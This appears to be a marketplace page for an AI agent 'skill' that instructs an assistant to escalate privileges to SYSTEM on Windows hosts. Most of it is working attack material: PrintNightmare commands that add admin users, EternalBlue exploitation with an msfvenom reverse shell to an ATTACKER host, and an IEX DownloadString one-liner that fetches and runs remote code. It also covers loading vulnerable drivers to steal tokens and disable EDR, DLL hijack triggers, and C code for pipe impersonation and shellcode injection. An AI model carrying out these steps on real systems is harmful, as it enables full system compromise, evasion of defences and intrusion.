一键导入
windows-kernel-exploits
Exploit Windows kernel vulnerabilities, vulnerable drivers, and privileged file operations for local privilege escalation to SYSTEM.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
Exploit Windows kernel vulnerabilities, vulnerable drivers, and privileged file operations for local privilege escalation to SYSTEM.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
Multi-phase penetration test orchestrator. Handles recon, assessment surface mapping, vulnerability chaining, and routes to technique skills for execution. Invoke via /red-run-ctf slash command only.
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate theft (DPAPI/CAPI/CNG), and account persistence via certificate mapping.
Forces remote systems to authenticate back to attacker-controlled listeners and relays captured authentication to escalate privileges or move laterally. Covers authentication coercion (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, CheeseOunce), NTLM relay (ntlmrelayx to LDAP/SMB/AD CS/MSSQL), Kerberos relay (krbrelayx, mitm6), and name resolution poisoning (LLMNR/NBNS/WPAD via Responder).
Extracts and cracks Kerberos service tickets (Kerberoasting) and AS-REP hashes (AS-REP Roasting) for offline password recovery.
Enumerates and exploits Microsoft SCCM/MECM (System Center Configuration Manager / Microsoft Endpoint Configuration Manager) infrastructure for credential harvesting, lateral movement, and domain escalation. Covers SCCM enumeration (sccmhunter, SharpSCCM), Network Access Account (NAA) credential extraction (policy request, WMI DPAPI, WMI repository), management point NTLM relay to MSSQL (TAKEOVER1), client push relay (ELEVATE2), PXE boot media credential harvesting (CRED1), SCCM database credential extraction, application deployment for lateral movement, and SCCM share looting.
基于 SOC 职业分类
| name | windows-kernel-exploits |
| description | Exploit Windows kernel vulnerabilities, vulnerable drivers, and privileged file operations for local privilege escalation to SYSTEM. |
| keywords | ["kernel exploit","exploit suggester","WES-NG","Watson","EternalBlue","PrintNightmare local","BYOVD","vulnerable driver","named pipe impersonation","leaked handle","missing patches","kernel privesc","CVE windows escalation","privileged file write","DiagHub","WerTrigger"] |
| tools | ["WES-NG","Watson","Metasploit","SharpPrintNightmare","PrintSpoofer","loldrivers.io"] |
| opsec | medium |
You are helping a penetration tester exploit kernel vulnerabilities, vulnerable drivers, and privileged file/pipe operations on a Windows system. All testing is under explicit written authorization.
Warning: Kernel exploits can crash the target system. Always warn before execution. Prefer reliable exploits and avoid experimental PoCs on production systems.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[windows-kernel-exploits] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
systeminfo output (for exploit matching)Collect the information needed to match against known kernel CVEs.
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
ver
wmic os get Caption, Version, BuildNumber, OSArchitecture
Save systeminfo output for offline analysis:
systeminfo > C:\Windows\Temp\systeminfo.txt
Key information to note:
Check loaded drivers (for BYOVD):
driverquery /v /fo table
driverquery /si
Use automated tools to match the target's patch level against known kernel CVEs.
# Update vulnerability database
python3 wes.py --update
# Analyze systeminfo output
python3 wes.py systeminfo.txt
# Filter for specific impact
python3 wes.py systeminfo.txt --impact "Elevation of Privilege"
python3 wes.py systeminfo.txt --exploits-only
Watson.exe
Watson checks for: CVE-2019-0836, CVE-2019-0841, CVE-2019-1064, CVE-2019-1130, CVE-2019-1253, CVE-2019-1315, CVE-2019-1385, CVE-2019-1388, CVE-2019-1405, CVE-2020-0668, CVE-2020-0683, CVE-2020-1013, and more.
./windows-exploit-suggester.py --update
./windows-exploit-suggester.py --database 2024-01-01-mssb.xlsx --systeminfo systeminfo.txt
Prioritize by:
Print Spooler RCE that also works for local privilege escalation. Loads a DLL as SYSTEM via the Print Spooler service.
Affected: Windows with Print Spooler running, pre-July 2021 patches.
Check vulnerability:
# Check if Print Spooler RPC is available
python3 rpcdump.py @TARGET | egrep 'MS-RPRN|MS-PAR'
:: Check Spooler service status
sc query Spooler
Local privilege escalation (LPE):
# SharpPrintNightmare — direct LPE
SharpPrintNightmare.exe C:\Windows\Temp\payload.dll
# Invoke-Nightmare (PowerShell) — adds local admin
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # Default: adds adm1n/P@ssw0rd
Invoke-Nightmare -NewUser "hacker" -NewPassword "Passw0rd!"
Invoke-Nightmare -DLL "C:\absolute\path\to\payload.dll"
# Mimikatz (v2.2.0+)
misc::printnightmare /server:localhost /library:C:\Windows\Temp\payload.dll
Remote exploitation (requires SMB or WebDAV share):
# Host payload DLL via Impacket SMB
python3 smbserver.py share /tmp/smb/
# Remote exploit
python3 CVE-2021-1675.py domain/user:Pass@TARGET '\\ATTACKER\share\payload.dll'
# SharpPrintNightmare remote
SharpPrintNightmare.exe '\\ATTACKER\share\payload.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_*\Amd64\UNIDRV.DLL' '\\TARGET'
Error codes: 0x5 = share permissions issue, 0x525 = account doesn't exist,
0x180 = use SMBv3 instead of v2.
Affected: Windows 7, 2008 R2, 2003, XP (pre-KB4013389). Remote SYSTEM RCE via SMB.
Detection:
nmap -Pn -p445 --script smb-vuln-ms17-010 TARGET
netexec smb TARGET -M ms17-010
Exploitation:
# Metasploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS TARGET
set LHOST ATTACKER
run
# Standalone (Python2)
git clone https://github.com/helviojunior/MS17-010
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o shell.exe
python2 send_and_execute.py TARGET shell.exe
Affected: Windows 7, 8, 10, 2008, 2012 R2 (pre-KB3139914). Local escalation.
wmic qfe list | findstr "3139914"
If patch not found:
# PowerShell exploit
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-MS16032.ps1')
Invoke-MS16032 -Command "cmd /c start cmd.exe"
# Metasploit
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
Affected: Windows 2003, 2008, 7, 8, 2012. Local SYSTEM escalation.
:: Usage
ms15-051.exe "whoami"
ms15-051.exe "cmd.exe /c net localgroup administrators user /add"
Affected: Windows NT, 2000, 2003, 2008, XP, Vista, 7. Local SYSTEM.
# Metasploit
use exploit/windows/local/ms10_015_kitrap0d
Affected: Windows 7, Windows 10 LTSC 10240. Interactive desktop required.
hhupd.exe → Run as administratorcmd.exeNote: Requires interactive desktop access. Does not work via remote shell.
Affected: Windows 10 1903-1909, Server v1903-v1909.
Primarily remote RCE but local LPE variants exist. Exploit reliability is low — use only as a last resort.
| CVE | Name | Affected | Type | Reliability |
|---|---|---|---|---|
| CVE-2021-1675 | PrintNightmare | Pre-Jul 2021 | LPE/RCE | High |
| CVE-2017-0144 | EternalBlue | 7/2008/2003/XP | RCE | High |
| CVE-2016-0099 | MS16-032 | 7/8/10/2008/2012 | LPE | High |
| CVE-2015-1701 | MS15-051 | 2003/2008/7/8/2012 | LPE | High |
| CVE-2010-0232 | KiTrap0D | Pre-Win8 | LPE | Medium |
| CVE-2019-1388 | Cert Dialog | 7/10 LTSC | LPE | Medium (interactive) |
| CVE-2020-0796 | SMBGhost | 10 1903-1909 | RCE/LPE | Low |
| CVE-2021-36934 | HiveNightmare | Pre-Jul 2021 | Info Disclosure | High |
Load a known-vulnerable signed kernel driver to gain arbitrary kernel read/write, then use it to steal the SYSTEM token.
| Driver | Vulnerability | Use Case |
|---|---|---|
| Capcom.sys | Arbitrary code execution in kernel | Direct kernel shellcode |
| RTCore64.sys | Arbitrary memory R/W via IOCTL | Token theft |
| DBUtil_2_3.sys | Arbitrary memory write | Token theft |
Reference: https://www.loldrivers.io/ — curated database of vulnerable drivers with hashes and CVE references.
driverquery /v /fo table
driverquery /si
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer, InfName | Format-Table
sc create VulnDriver type=kernel binPath=C:\Windows\Temp\vuln.sys
sc start VulnDriver
Exploit the driver for kernel R/W (tool-specific — see driver documentation)
Token theft — copy SYSTEM token to current process:
The standard kernel exploitation primitive: walk the EPROCESS linked list to find PID 4 (SYSTEM), read its token, and overwrite the current process's token.
// Pseudocode (EPROCESS offsets vary per OS build)
1. Get ntoskrnl base via EnumDeviceDrivers or NtQuerySystemInformation
2. Resolve PsInitialSystemProcess → SYSTEM EPROCESS address
3. Walk ActiveProcessLinks to find current process EPROCESS
4. Read SYSTEM token (EPROCESS + Token offset), mask EX_FAST_REF low bits
5. Write SYSTEM token to current process EPROCESS
6. Spawn cmd.exe → now running as SYSTEM
EPROCESS offsets (must be resolved per build via WinDbg symbols):
& ~0xFsc stop VulnDriver
sc delete VulnDriver
Vulnerable drivers can also be used to disable EDR/PPL protections:
Tools: PPLKiller, EDRSandblast, KDU (Kernel Driver Utility).
These techniques exploit Windows services that load DLLs from predictable paths. You need the ability to write a DLL to the target path (often requires an arbitrary file write primitive or writable directory).
DiagnosticHub Standard Collector Service loads DLLs from System32.
:: Place payload DLL in System32 (requires write access)
copy payload.dll C:\Windows\System32\payload.dll
:: Trigger DLL load
diaghub.exe C:\ProgramData\ payload.dll
Tool: https://github.com/xct/diaghub
Update Session Orchestrator loads WindowsCoreDeviceInfo.dll from System32.
:: Place DLL
copy payload.dll C:\Windows\System32\WindowsCoreDeviceInfo.dll
:: Trigger via USO
UsoDllLoader.exe
:: Alternative trigger
usoclient StartInteractiveScan
Result: Bind shell on port 1337 (default payload). Tool: https://github.com/itm4n/UsoDllLoader
WER service loads phoneinfo.dll from a predictable path.
:: Setup
copy phoneinfo.dll C:\Windows\System32\phoneinfo.dll
:: Trigger
WerTrigger.exe
Result: SYSTEM shell. Tool: https://github.com/sailay1996/WerTrigger
:: Setup
dircreate2system.exe
Creates wermgr.exe.local directory with weak permissions, loads DLL via DotLocal
redirection.
Tool: https://github.com/binderlabs/DirCreate2System
An arbitrary file delete primitive can be escalated to SYSTEM via MSI rollback abuse:
C:\Config.Msi during rollback windowC:\Config.Msi with weak DACLTool: https://github.com/thezdi/PoC/tree/master/FilesystemEoPs/FolderOrFileDeleteToSystem
Post-exploit via On-Screen Keyboard:
HID.dll to C:\Program Files\Common Files\microsoft shared\ink\osk.exe loads HID.dll from ink directory → SYSTEM shellCreate a named pipe, trick a privileged process into connecting, then impersonate its token. This is the foundation of all Potato exploits.
Core pattern (C):
// 1. Create named pipe
HANDLE hPipe = CreateNamedPipeA("\\\\.\\pipe\\evil",
PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
1, 0, 0, 0, NULL);
// 2. Wait for privileged client
ConnectNamedPipe(hPipe, NULL);
// 3. MUST read at least one message before impersonation
char buf[4]; DWORD rb;
ReadFile(hPipe, buf, sizeof(buf), &rb, NULL);
// 4. Impersonate client token
ImpersonateNamedPipeClient(hPipe);
// 5. Open impersonation token → duplicate to primary → CreateProcessWithTokenW
Common triggers to coerce privileged connections:
ms-rprn pipe) → PrintSpooferFor full Potato family exploitation, route to windows-token-impersonation.
If a privileged process creates a child with bInheritHandles=TRUE, the child
inherits open handles to privileged resources.
Enumerate inherited handles:
:: Sysinternals Handle tool
handle64.exe /a /p <PID>
Exploit inherited process handle:
// If inherited handle has PROCESS_ALL_ACCESS to a SYSTEM process:
// 1. Allocate memory in privileged process
LPVOID addr = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
// 2. Write shellcode
WriteProcessMemory(hProc, addr, payload, payload_len, NULL);
// 3. Create thread in privileged process
HANDLE hThread;
RtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, addr, NULL, &hThread, NULL);
Alternative — spawn child with privileged parent:
// Use inherited SYSTEM process handle as parent for new process
STARTUPINFOEXA si = {0};
SIZE_T size = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = HeapAlloc(GetProcessHeap(), 0, size);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, TRUE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL,
(LPSTARTUPINFOA)&si, &pi);
Tools: LeakedHandlesFinder
If you're in a restricted shell, escape it before attempting kernel exploitation.
# Check current language mode
$ExecutionContext.SessionState.LanguageMode
# Downgrade to PowerShell v2 (if available — FullLanguage mode)
powershell -Version 2
:: MSBuild — compile and execute inline C#
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe task.xml
:: InstallUtil — execute .NET assembly
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe
:: regsvcs / regasm
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe payload.dll
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe payload.dll /U
Kernel exploits that corrupt pool memory can BSOD the system. Always check exploit notes for stability warnings. Prefer LPE exploits with "stable" or "reliable" tags. On production systems, try non-kernel vectors first (token impersonation, services, UAC).
SeLoadDriverPrivilege or admin access is required. Check whoami /priv. If not
available, escalate via other vectors first.
x86 exploits fail on x64 and vice versa. Check systeminfo | findstr "System Type".
Download the correct architecture binary. Some exploits (PrintNightmare DLL) must
match the Spooler service architecture.
WES-NG lists all missing patches, not just exploitable ones. Filter with
--exploits-only to show only CVEs with known public exploits. Cross-reference
with https://github.com/SecWiki/windows-kernel-exploits for compiled binaries.
Check: (1) Spooler service is running, (2) patches pre-July 2021, (3) no
RestrictDriverInstallationToAdministrators registry key. On DCs, check if
Pre Windows 2000 Compatibility group is populated.